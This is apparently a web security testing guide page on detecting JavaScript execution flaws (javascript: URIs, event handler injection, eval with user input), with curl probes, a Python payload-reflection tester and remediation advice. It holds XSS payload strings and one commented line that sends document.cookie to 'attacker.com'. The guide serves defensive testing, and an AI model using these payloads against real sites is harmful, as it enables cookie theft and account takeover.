wstg-clnt-02
Testing & QualityTesting for JavaScript Execution
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wstg-clnt-02
Test ID
WSTG-CLNT-02
Test Name
Testing for JavaScript Execution
High-Level Description
This test identifies scenarios where user input can lead to arbitrary JavaScript execution through various vectors including javascript: URIs, event handlers, and dynamic code evaluation.
What to Check
- javascript: URI handling
- Event handler injection
- eval() with user input
- Function constructor abuse
- Template literal injection
How to Test
Step 1: Test javascript: URI
# Test link href
curl -s "https://target.com/redirect?url=javascript:alert(1)"
# Test image src
curl -s "https://target.com/profile?avatar=javascript:alert(1)"
Step 2: Test Event Handler Injection
#!/usr/bin/env python3
import requests
def test_event_handlers(url, param):
payloads = [
'" onmouseover="alert(1)" x="',
"' onfocus='alert(1)' autofocus='",
'" onclick="alert(1)" style="position:fixed;width:100%;height:100%" x="',
"javascript:alert(1)",
"data:text/html,<script>alert(1)</script>",
]
for payload in payloads:
response = requests.get(url, params={param: payload})
if payload.split('=')[0] in response.text:
print(f"[POTENTIAL] Payload reflected: {payload[:40]}")
# Usage
test_event_handlers("https://target.com/search", "q")
Step 3: Dynamic Evaluation Testing
// Check if user input reaches eval/Function
// Common patterns to look for in JS:
// Dangerous
eval(userInput)
new Function(userInput)()
setTimeout(userInput, 1000)
setInterval(userInput, 1000)
// Test payloads
// alert(1)
// 1+1
// fetch('https://attacker.com?'+document.cookie)
Remediation
// Never use eval with user input
// AVOID: eval(userInput)
// Use safe alternatives
JSON.parse(jsonString) // For JSON parsing
// For dynamic function calls, use allowlist
const allowedFunctions = { sum: (a, b) => a + b }
if (allowedFunctions[functionName]) {
allowedFunctions[functionName](args)
}
Risk Assessment
| Finding | CVSS | Severity |
|---|---|---|
| javascript: URI execution | 6.1 | Medium |
| Event handler injection | 6.1 | Medium |
| eval() with user input | 8.6 | High |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-95 | Improper Neutralization of Directives in Dynamically Evaluated Code |
Checklist
[ ] javascript: URI tested
[ ] Event handlers tested
[ ] eval() usage analyzed
[ ] Template literals checked
[ ] Findings documented